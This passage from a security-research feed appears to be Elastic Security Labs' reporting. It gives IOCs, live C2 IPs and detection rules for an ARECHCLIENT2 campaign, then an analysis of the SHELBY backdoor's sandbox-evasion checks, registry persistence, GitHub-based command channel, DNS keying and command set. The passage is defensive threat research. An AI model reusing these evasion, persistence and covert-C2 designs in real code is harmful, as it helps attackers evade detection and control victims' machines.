<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image10.png" alt="" /></p>
<p>We've identified that both entities are linked to a digital advertising agency with a long operational history. Further investigation reveals that the company has consistently utilized client subdomains to host various content, including PDFs and forms, for advertising purposes.</p>
<p>We assess that the attacker has likely compromised the server <code>50.57.243[.]90</code> and is leveraging it by exploiting the company's existing infrastructure and advertising reach to facilitate widespread malicious activity.</p>
<p>Further down the attack chain, analysis of the ARECHCLIENT2 C2 IPs (<code>143.110.230[.]167</code> and <code>144.172.97[.]2</code>) revealed additional campaign infrastructure. Both servers are hosted on different autonomous systems, AS14061 and AS14956.</p>
<p>Pivoting on a shared banner hash (<a href="https://x.com/ValidinLLC">@ValidinLLC</a>’s <code>HOST-BANNER_0_HASH</code>, which is the hash value of the web server response banners) revealed 120 unique servers across a range of autonomous systems over the last seven months. Of these 120, 19 have been previously labeled by various other vendors as “Sectop RAT&quot; (aka ARECHCLIENT2) as documented in the <a href="https://github.com/stamparm/maltrail/blob/master/trails/static/malware/sectoprat.txt">Maltrail repo</a>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image24.png" alt="ARECHCLIENT2 Host Banner Hash Pivot, courtesy @ValidinLLC" title="ARECHCLIENT2 Host Banner Hash Pivot, courtesy @ValidinLLC" /></p>
<p>Performing focused validations of the latest occurrences (first occurrence after June 1, 2025) against VirusTotal shows community members have previously labeled all 13 as Sectop RAT C2.</p>
<p>All these servers have similar configurations:</p>
<ul>
<li>Running Canonical Linux</li>
<li>SSH on <code>22</code></li>
<li>Unknown TCP on <code>443</code></li>
<li>Nginx HTTP on <code>8080</code>, and</li>
<li>HTTP on <code>9000</code> (C2 port)</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/image8.png" alt="ARECHCLIENT2 C2 Server Profile, courtesy @censysio" title="ARECHCLIENT2 C2 Server Profile, courtesy @censysio" /></p>
<p>The service on port <code>9000</code> has Windows server headers, whereas the SSH and NGINX HTTP services both specify Ubuntu as the operating system. This suggests a reverse proxy of the C2 to protect the actual server by maintaining disposable front-end redirectors.</p>
<p>ARECHCLIENT2 IOC:</p>
<ul>
<li><code>HOST-BANNER_0_HASH: 82cddf3a9bff315d8fc708e5f5f85f20</code></li>
</ul>
<p>This is an active campaign, and this infrastructure is being built and torn down at a high cadence over the last seven months. As of publication, the following C2 nodes are still active:</p>
<table>
<thead>
<tr>
<th>Value</th>
<th>First Seen</th>
<th>Last Seen</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>66.63.187.22</code></td>
<td>2025-06-15</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>45.94.47.164</code></td>
<td>2025-06-02</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>84.200.17.129</code></td>
<td>2025-06-04</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>82.117.255.225</code></td>
<td>2025-03-14</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>45.77.154.115</code></td>
<td>2025-06-05</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>144.172.94.120</code></td>
<td>2025-05-20</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>79.124.62.10</code></td>
<td>2025-05-15</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>82.117.242.178</code></td>
<td>2025-03-14</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>195.82.147.132</code></td>
<td>2025-04-10</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>62.60.247.154</code></td>
<td>2025-05-18</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>91.199.163.74</code></td>
<td>2025-04-03</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>172.86.72.81</code></td>
<td>2025-03-13</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>107.189.24.67</code></td>
<td>2025-06-02</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>143.110.230.167</code></td>
<td>2025-06-08</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>185.156.72.80</code></td>
<td>2025-05-15</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>85.158.110.179</code></td>
<td>2025-05-11</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>144.172.101.228</code></td>
<td>2025-05-13</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>192.124.178.244</code></td>
<td>2025-06-01</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>107.189.18.56</code></td>
<td>2025-04-27</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>194.87.29.62</code></td>
<td>2025-05-18</td>
<td>2025-06-15</td>
</tr>
<tr>
<td><code>185.156.72.63</code></td>
<td>2025-06-12</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>193.149.176.31</code></td>
<td>2025-06-08</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>45.141.87.249</code></td>
<td>2025-06-12</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>176.126.163.56</code></td>
<td>2025-05-06</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>185.156.72.71</code></td>
<td>2025-05-15</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>91.184.242.37</code></td>
<td>2025-05-15</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>45.141.86.159</code></td>
<td>2025-05-15</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>67.220.72.124</code></td>
<td>2025-06-05</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>45.118.248.29</code></td>
<td>2025-01-28</td>
<td>2025-06-12</td>
</tr>
<tr>
<td><code>172.105.148.233</code></td>
<td>2025-06-03</td>
<td>2025-06-10</td>
</tr>
<tr>
<td><code>194.26.27.10</code></td>
<td>2025-05-06</td>
<td>2025-06-10</td>
</tr>
<tr>
<td><code>45.141.87.212</code></td>
<td>2025-06-08</td>
<td>2025-06-08</td>
</tr>
<tr>
<td><code>45.141.86.149</code></td>
<td>2025-05-15</td>
<td>2025-06-08</td>
</tr>
<tr>
<td><code>172.235.190.176</code></td>
<td>2025-06-08</td>
<td>2025-06-08</td>
</tr>
<tr>
<td><code>45.141.86.82</code></td>
<td>2024-12-13</td>
<td>2025-06-08</td>
</tr>
<tr>
<td><code>45.141.87.7</code></td>
<td>2025-05-13</td>
<td>2025-06-06</td>
</tr>
<tr>
<td><code>185.125.50.140</code></td>
<td>2025-04-06</td>
<td>2025-06-03</td>
</tr>
</tbody>
</table>
<h2>Conclusion</h2>
<p>This multi-stage cyber campaign effectively leverages ClickFix social engineering for initial access, deploying the <strong>GHOSTPULSE</strong> loader to deliver an intermediate .NET loader, ultimately culminating in the memory-resident <strong>ARECHCLIENT2</strong> payload. This layered attack chain gathers extensive credentials, financial, and system data, while also granting attackers remote control capabilities over compromised machines.</p>
<h3>MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4>Tactics</h4>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/002/">Spearphishing Link</a> <a href="https://attack.mitre.org/techniques/T1204/">User Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/002/">Malicious Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/002/">Malicious File</a></li>
</ul>
</li>
<li><a href="https://attack.mitre.org/techniques/T1059/">Command and Scripting Interpreter</a>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscation/Decoding</a></li>
</ul>
</li>
<li><a href="https://attack.mitre.org/techniques/T1073/">DLL Sideloading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/">User Interaction</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1539/">Steal Web Session Cookie</a></li>
</ul>
<h2>Detecting [malware]</h2>
<h3>Detection</h3>
<p>Elastic Defend detects this threat with the following <a href="https://github.com/elastic/protections-artifacts/tree/main/behavior">behavior protection rules</a>:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/execution_suspicious_command_shell_execution_via_windows_run.toml">Suspicious Command Shell Execution via Windows Run</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_dns_query_to_suspicious_top_level_domain.toml">DNS Query to Suspicious Top Level Domain</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_library_load_of_a_file_written_by_a_signed_binary_proxy.toml">Library Load of a File Written by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_connection_to_webservice_by_a_signed_binary_proxy.toml">Connection to WebService by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/discovery_potential_browser_information_discovery.toml">Potential Browser Information Discovery</a></li>
</ul>
<h4>YARA</h4>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/tree/main/yara/rules/Windows_Trojan_GhostPulse.yar">Windows_Trojan_GhostPulse</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/tree/main/yara/rules/Windows_Trojan_Arechclient2.yar">Windows_Trojan_Arechclient2 </a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>clients.dealeronlinemarketing[.]com</code></td>
<td>domain</td>
<td>Captcha subdomain</td>
<td></td>
</tr>
<tr>
<td><code>clients.contology[.]com</code></td>
<td>domain</td>
<td>Captcha subdomain</td>
<td></td>
</tr>
<tr>
<td><code>koonenmagaziner[.]click</code></td>
<td>domain</td>
<td></td>
<td></td>
</tr>
<tr>
<td><code>50.57.243[.]90</code></td>
<td>ipv4-addr</td>
<td></td>
<td><code>clients.dealeronlinemarketing[.]com</code> &amp; <code>clients.contology[.]com</code> IP address</td>
</tr>
<tr>
<td><code>144.172.97[.]2</code></td>
<td>ipv4-addr</td>
<td></td>
<td>ARECHCLIENT2 C&amp;C server</td>
</tr>
<tr>
<td><code>143.110.230[.]167</code></td>
<td>ipv4-addr</td>
<td></td>
<td>ARECHCLIENT2 C&amp;C server</td>
</tr>
<tr>
<td><code>pastebin[.]com/raw/Wg8DHh2x</code></td>
<td>ipv4-addr</td>
<td></td>
<td>Contains ARECHCLIENT2 C&amp;C server IP</td>
</tr>
<tr>
<td><code>2ec47cbe6d03e6bdcccc63c936d1c8310c261755ae5485295fecac4836d7e56a</code></td>
<td>SHA-256</td>
<td><code>DivXDownloadManager.dll</code></td>
<td>GHOSTPULSE</td>
</tr>
<tr>
<td><code>a8ba1e14249cdd9d806ef2d56bedd5fb09de920b6f78082d1af3634f4c136b90</code></td>
<td>SHA-256</td>
<td><code>Heeschamjiet.rc</code></td>
<td>PNG GHOSTPULSE</td>
</tr>
<tr>
<td><code>f92b491d63bb77ed3b4c7741c8c15bdb7c44409f1f850c08dce170f5c8712d55</code></td>
<td>SHA-256</td>
<td></td>
<td>DOTNET LOADER</td>
</tr>
<tr>
<td><code>4dc5ba5014628ad0c85f6e8903de4dd3b49fed65796978988df8c128ba7e7de9</code></td>
<td>SHA-256</td>
<td></td>
<td>ARECHCLIENT2</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://x.com/SI_FalconTeam/status/1915790796948643929">https://x.com/SI_FalconTeam/status/1915790796948643929</a></li>
<li><a href="https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics">https://www.zscaler.com/blogs/security-research/analyzing-new-hijackloader-evasion-tactics</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/a-wretch-client/a-wretch-client.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[The Shelby Strategy]]></title>
            <link>https://www.elastic.co/jp/security-labs/the-shelby-strategy</link>
            <guid>the-shelby-strategy</guid>
            <pubDate>Wed, 26 Mar 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[An analysis of REF8685's abuse of GitHub for C2 to evade defenses.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>The SHELBY malware family abuses GitHub for command-and-control, stealing data and retrieving commands</li>
<li>The attacker’s C2 design has a critical flaw: anyone with the PAT token can control infected machines, exposing a significant security vulnerability</li>
<li>Unused code and dynamic payload loading suggest the malware is under active development, indicating future updates may address any issues with contemporary versions</li>
</ul>
<h2>Summary</h2>
<p>As part of our ongoing research into emerging threats, we analyzed a potential phishing email sent from an email address belonging to an Iraqi telecommunications company and sent to other employees of that same company.</p>
<p>The phishing email relies on the victim opening the attached <code>Details.zip</code> file and executing the contained binary, <code>JPerf-3.0.0.exe</code>. This binary utilizes the script-driven installation system, <a href="https://jrsoftware.org/isinfo.php">Inno setup</a>, that contains the malicious application:</p>
<ul>
<li><code>%AppData%\Local\Microsoft\HTTPApi</code>:
<ul>
<li><code>HTTPApi.dll</code> (SHELBYC2)</li>
<li><code>HTTPService.dll</code> (SHELBYLOADER)</li>
<li><code>Microsoft.Http.Api.exe</code></li>
<li><code>Microsoft.Http.Api.exe.config</code></li>
</ul>
</li>
</ul>
<p>The installed <code>Microsoft.Http.Api.exe</code> is a benign .NET executable. Its primary purpose is to side-load the malicious <code>HTTPService.dll</code>. Once loaded, <code>HTTPService.dll</code> acts as the loader, initiating communication with GitHub for its command-and-control (C2).</p>
<p>The loader retrieves a specific value from the C2, which is used to decrypt the backdoor payload, <code>HTTPApi.dll</code>. After decryption, the backdoor is loaded into memory as a managed assembly using reflection, allowing it to execute without writing to disk and evading traditional detection mechanisms.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image27.png" alt="SHELBYLOADER &amp; SHELBYC2 Execution Chain" title="SHELBYLOADER &amp; SHELBYC2 Execution Chain" /></p>
<p>As of the time of writing, both the backdoor and the loader have a low detection rate on VirusTotal.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image2.png" alt="VirusTotal hits for SHELBYC2" title="VirusTotal hits for SHELBYC2" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image24.png" alt="VirusTotal hits for SHELBYLOADER" title="VirusTotal hits for SHELBYLOADER" /></p>
<h2>SHELBYLOADER code analysis</h2>
<h3>Obfuscation</h3>
<p>Both the loader and backdoor are obfuscated with the open-source tool <a href="https://github.com/obfuscar/obfuscar">Obfuscar</a>, which employs string encryption as one of its features. To bypass this obfuscation, we can leverage <a href="https://github.com/de4dot/de4dot">de4dot</a> with custom parameters. Obfuscar replaces strings with calls to a string decryptor function, but by providing the token of this function to de4dot, we can effectively deobfuscate the code. Using the parameters <code>--strtyp</code> ( the type of string decrypter, in our case <code>delegate</code>)  and <code>--strtok</code> ( the token of the string decryption method), we can replace these function calls with their corresponding plaintext values, revealing the original strings in the code.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image6.png" alt="Deobfuscation using de4dot" title="Deobfuscation using de4dot" /></p>
<h3>Sandbox detection</h3>
<p>SHELBYLOADER utilizes sandbox detection techniques to identify virtualized or monitored environments. Once executed, it sends the results back to C2. These results are packaged as log files, detailing whether each detection method successfully identified a sandbox environment, for example:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image17.png" alt="Sandbox detection example" title="Sandbox detection example" /></p>
<h4>Technique 1: WMI Query for System Information</h4>
<p>The malware executes a WMI query (<code>Select * from Win32_ComputerSystem</code>) to retrieve system details. It then checks the Manufacturer and Model fields for indicators of a virtual machine, such as &quot;VMware&quot; or &quot;VirtualBox.&quot;</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image8.png" alt="Sandbox detection based on system information" title="Sandbox detection based on system information" /></p>
<h4>Technique 2: Process Enumeration</h4>
<p>The malware scans the running processes for known virtualization-related services, including:</p>
<ul>
<li><code>vmsrvc</code></li>
<li><code>vmtools</code></li>
<li><code>xenservice</code></li>
<li><code>vboxservice</code></li>
<li><code>vboxtray</code></li>
</ul>
<p>The presence of these processes tells the malware that it may be running in a virtualized environment.</p>
<h4>Technique 3: File System Checks</h4>
<p>The malware searches for the existence of specific driver files commonly associated with virtualization software, such as:</p>
<ul>
<li><code>C:\Windows\System32\drivers\VBoxMouse.sys</code></li>
<li><code>C:\Windows\System32\drivers\VBoxGuest.sys</code></li>
<li><code>C:\Windows\System32\drivers\vmhgfs.sys</code></li>
<li><code>C:\Windows\System32\drivers\vmci.sys</code></li>
</ul>
<h4>Technique 4: Disk Size Analysis</h4>
<p>The malware checks the size of the <code>C:</code> volume. If the size is less than 50 GB, it may infer that the environment is part of a sandbox, as many virtual machines are configured with smaller disk sizes for testing purposes.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image23.png" alt="Sandbox detection based on disk size" title="Sandbox detection based on disk size" /></p>
<h4>Technique 5: Parent Process Verification</h4>
<p>The malware examines its parent process. If the parent process is not <code>explorer.exe</code>, it may indicate execution within an automated analysis environment rather than a typical user-driven scenario.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image15.png" alt="Sandbox detection based on process tree" title="Sandbox detection based on process tree" /></p>
<h4>Technique 6: Sleep Time Deviation Detection</h4>
<p>The malware employs timing checks to detect if its sleep or delay functions are being accelerated, a common technique used by sandboxes to speed up analysis. Significant deviations in expected sleep times can reveal a sandboxed environment.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image5.png" alt="Sandbox detection based on sleep time deviation" title="Sandbox detection based on sleep time deviation" /></p>
<h4>Technique 7: WMI Query for Video Controller</h4>
<p>The malware runs a WMI query (SELECT * FROM Win32_VideoController) to retrieve information about the system's video controller. It then compares the name of the video controller against known values associated with virtual machines: <code>virtual</code> or <code>vmware</code> or <code>vbox</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image21.png" alt="Sandbox detection based on the name of the video controller" title="Sandbox detection based on the name of the video controller" /></p>
<h3>Core Functionality</h3>
<p>The malware's loader code begins by initializing several variables within its main class constructor. These variables include:</p>
<ul>
<li>A GitHub account name</li>
<li>A private repository name</li>
<li>A Personal Access Token (PAT) for authenticating and accessing the repository</li>
</ul>
<p>Additionally, the malware sets up two timers, which are used to trigger specific actions at predefined intervals.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image31.png" alt="SHELBYLOADER configuration" title="SHELBYLOADER configuration" /></p>
<p>One of the timers is configured to trigger a specific method 125 seconds after execution. When invoked, this method establishes persistence on the infected system by adding a new entry to the Windows Registry key <code>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code>. Once the method is triggered and the persistence mechanism is successfully executed, the timer is stopped from further triggering.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image22.png" alt="Setup persistence" title="Setup persistence" /></p>
<p>This method uses an integer variable to indicate the outcome of its operation. The following table describes each possible value and its meaning:</p>
<table>
<thead>
<tr>
<th>ID</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>1</code></td>
<td>Persistence set successfully</td>
</tr>
<tr>
<td><code>2</code></td>
<td>Persistence already set</td>
</tr>
<tr>
<td><code>8</code></td>
<td>Unable to add an entry in the key</td>
</tr>
<tr>
<td><code>9</code></td>
<td>Binary not found on disk</td>
</tr>
</tbody>
</table>
<p>This integer value is reported back to C2 during its first registration to the C2, allowing the attackers to monitor the success or failure of the persistence mechanism on the infected system.</p>
<p>The second timer is configured to trigger a method responsible for loading the backdoor, which executes 65 seconds after the malware starts. First, the malware generates an MD5 hash based on a combination of system-specific information. The data used to create the hash is formatted as follows, with each component separated by a slash( <code>/</code> ):</p>
<ul>
<li>The number of processors available on the system.</li>
<li>The name of the machine (hostname).</li>
<li>The domain name associated with the user account.</li>
<li>The username of the currently logged-in user.</li>
<li>The total number of logical drives present on the system.</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image12.png" alt="Generate unique identifier" title="Generate unique identifier" /></p>
<p>A subset of this hash is then extracted and used as a unique identifier for the infected machine. This identifier serves as a way for the attackers to track and manage compromised systems within their infrastructure.</p>
<p>After generating the unique identifier, the malware pushes a new commit to the myToken repository using an HTTPS request. The commit includes a directory named after the unique identifier, which contains a file named <code>Info.txt</code>. This file stores the following information about the infected system:</p>
<ul>
<li>The domain name associated with the user account.</li>
<li>The username of the currently logged-in user.</li>
<li>The log of sandbox detection results detailing which techniques succeeded or failed.</li>
<li>The persistence flag (as described in the table above) indicates the outcome of the persistence mechanism.</li>
<li>The current date and time of the beaconing event</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image28.png" alt="Example content of Info.txt" title="Example content of Info.txt" /></p>
<p>The malware first attempts to push a commit to the repository without using a proxy. If this initial attempt fails, it falls back to using the system-configured proxy for its communication.</p>
<p>After the first beaconing and successful registration of the victim, the malware attempts to access the same GitHub repository directory it created earlier and download a file named <code>License.txt</code> (we did not observe any jitter in the checking interval, but the server could handle this). If present, this file contains a 48-byte value, which is used to generate an AES decryption key. This file is uploaded by the attacker’s backend only after validating that the malware is not running in a sandbox environment. This ensures only validated infections receive the key and escalate the execution chain to the backdoor.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image18.png" alt="Function calls for registration and retrieval of License content" title="Function calls for registration and retrieval of License content" /></p>
<p>The malware generates an AES key and initialization vector (IV) from the contents of <code>License.txt</code>. It first hashes the 48-byte value using SHA256, then uses the resulting hash as the key and the first 16 bytes as the IV.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image25.png" alt="Generating decryption AES key and IV" title="Generating decryption AES key and IV" /></p>
<p>It proceeds to decrypt the file <code>HTTPApi.dll</code>, which contains the backdoor payload. After decryption, the malware uses the <code>Assembly.Load</code> method to reflectively load the backdoor into memory. This technique lets the malware execute the decrypted backdoor directly without writing it to disk.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image4.png" alt="Decrypts and loads SHELBYC2" title="Decrypts and loads SHELBYC2" /></p>
<h3>DNS-Based Keying Mechanism</h3>
<p>Another variant of SHELBYLOADER uses a different approach for registration and retrieving the byte sequence used to generate the AES key and IV.</p>
<p>First, the malware executes the same anti-sandboxing methods, creating a string of <code>1</code> or <code>0</code> depending on whether a sandbox is detected for each technique.</p>
<p>For its C2 registration, the malware builds a subdomain under <code>arthurshelby.click</code> with three parts: the first subdomain is a static string (<code>s</code>), the second subdomain is the unique identifier encoded in Base32, and the third subdomain is a concatenated string in the format <code>DomainName\HostName &gt;&gt; Anti-Sandboxing Results &gt;&gt; Persistence Flag</code> encoded in base32.</p>
<p>For example, a complete domain might look like <code>s.grldiyrsmvsggojzmi4wmyi.inevyrcfknfvit2qfvcvinjriffe6ib6hyqdambqgaydambahy7cama.arthurshelby.click</code></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image13.png" alt="CyberChef recipe for decoding generated subdomains" title="CyberChef recipe for decoding generated subdomains" /></p>
<p>After that, the malware executes multiple DNS queries to subdomains of <code>arthurshelby.click</code>. The IP addresses returned from these queries are concatenated into a byte sequence, which is then used to generate the AES key for decrypting the backdoor, following the same process described earlier.</p>
<p>The subdomains follow this format:</p>
<ul>
<li>The first subdomain is <code>l&lt;index&gt;</code>, where the index corresponds to the order of the DNS calls (e.g., <code>l1</code>, <code>l2</code>, etc.), ensuring the byte sequence is assembled correctly.</li>
<li>The second subdomain is the unique identifier encoded in Base32.</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image16.png" alt="Subdomains contacted to retrieve the bytes used to generate the AES key" title="Subdomains contacted to retrieve the bytes used to generate the AES key" /></p>
<h2>SHELBYC2 code analysis</h2>
<p>The backdoor begins by regenerating the same unique identifier created by the loader. It does this by computing an MD5 hash of the exact system-specific string used earlier. The backdoor then creates a <a href="https://learn.microsoft.com/en-us/windows/win32/sync/using-mutex-objects">Mutex</a> to ensure that only one instance of the malware runs on the infected machine. The Mutex is named by prepending the string <code>Global\GHS</code> to the unique identifier.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image9.png" alt="Mutex initialization" title="Mutex initialization" /></p>
<p>After 65 seconds, the backdoor executes a method that collects the following system information:</p>
<ul>
<li>current user identity</li>
<li>operating system version</li>
<li>the process ID of the malware</li>
<li>machine name</li>
<li>current working directory</li>
</ul>
<p>Interestingly, this collected information is neither used locally nor exfiltrated to the C2 server. This suggests that the code might be dead code left behind during development or that the malware is still under active development, with potential plans to utilize this data in future versions.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image1.png" alt="Dead code" title="Dead code" /></p>
<p>The malware then uploads the current timestamp to a file named Vivante.txt in the myGit repository within its unique directory (named using the system's unique identifier). This timestamp serves as the last beaconing time, enabling the attackers to monitor the malware's activity and confirm that the infected system is still active. The word <strong>&quot;Vivante&quot;</strong> translates to <strong>&quot;alive&quot;</strong> in French, which reflects the file's role as a heartbeat indicator for the compromised machine.</p>
<p>Next, the malware attempts to download the file <code>Command.txt</code>, which contains a list of commands issued by the operator for execution on the infected system.</p>
<p>If <code>Command.txt</code> contains no commands, the malware checks for commands in another file named <code>Broadcast.txt</code>. Unlike <code>Command.txt</code>, this file is located outside the malware's directory and is used to broadcast commands to all infected systems simultaneously. This approach allows the attacker to simultaneously execute operations across multiple compromised machines, streamlining large-scale control.</p>
<h3>Commands handling table:</h3>
<p>Commands in the <code>Command.txt</code> file can either be handled commands or system commands executed with Powershell. The following is a description of every handled command.</p>
<h4>/download</h4>
<p>This command downloads a file from a GitHub repository to the infected machine. It requires two parameters:</p>
<ul>
<li>The name of the file stored in the GitHub repository.</li>
<li>The path where the file will be saved on the infected machine.</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image20.png" alt="Download command" /></p>
<h4>/upload</h4>
<p>This command uploads a file from the infected machine to the GitHub repository. It takes one parameter: the path of the file to be uploaded.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image32.png" alt="Upload command" /></p>
<h4>/dlextract</h4>
<p>This command downloads a zip file from the GitHub repository (similar to <code>/download</code>), extracts its contents, and saves them to a specified directory on the machine.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image30.png" alt="Zip extraction command" /></p>
<h4>/evoke</h4>
<p>This command is used to load a .NET binary reflectively; it takes two parameters: the first parameter is the path of an AES encrypted .NET binary previously downloaded to the infected machine, the second parameter is a value used to derive AES and the IV, similar to how the loader loads the backdoor.</p>
<p>This command reflectively loads a .NET binary similar to how the SHELBYLOADER loads the backdoor. It requires two parameters:</p>
<ul>
<li>The path to an AES-encrypted .NET binary previously downloaded to the infected machine.</li>
<li>A value used to derive the AES key and IV.</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image3.png" alt=".NET invocation command" /></p>
<h4>System commands</h4>
<p>Any command not starting with one of the above is treated as a PowerShell command and executed accordingly.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image7.png" alt="Powershell execution command" /></p>
<h3>Communication</h3>
<p>The malware does not use the <a href="https://git-scm.com/">Git tool</a> in the backend to send commits. Instead, it crafts HTTP requests to interact with GitHub. It sends a commit to the repository using a JSON object with the following structure:</p>
<pre><code class="language-json">{
  &quot;message&quot;: &quot;Commit message&quot;,
  &quot;content&quot;: &quot;&lt;base64 encoded content&gt;&quot;,
  &quot;sha&quot;: &quot;&lt;hash&gt;&quot;
}
</code></pre>
<p>The malware sets specific HTTP headers for the request, including:</p>
<ul>
<li><strong>Accept:</strong> <code>application/vnd.github.v3+json</code></li>
<li><strong>Content-Type:</strong> <code>application/json</code></li>
<li><strong>Authorization:</strong> <code>token &lt;PAT_token&gt;</code></li>
<li><strong>User-Agent:</strong> <code>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36</code></li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/the-shelby-strategy/image14.png" alt="Initialization of the HTTP request" /></p>
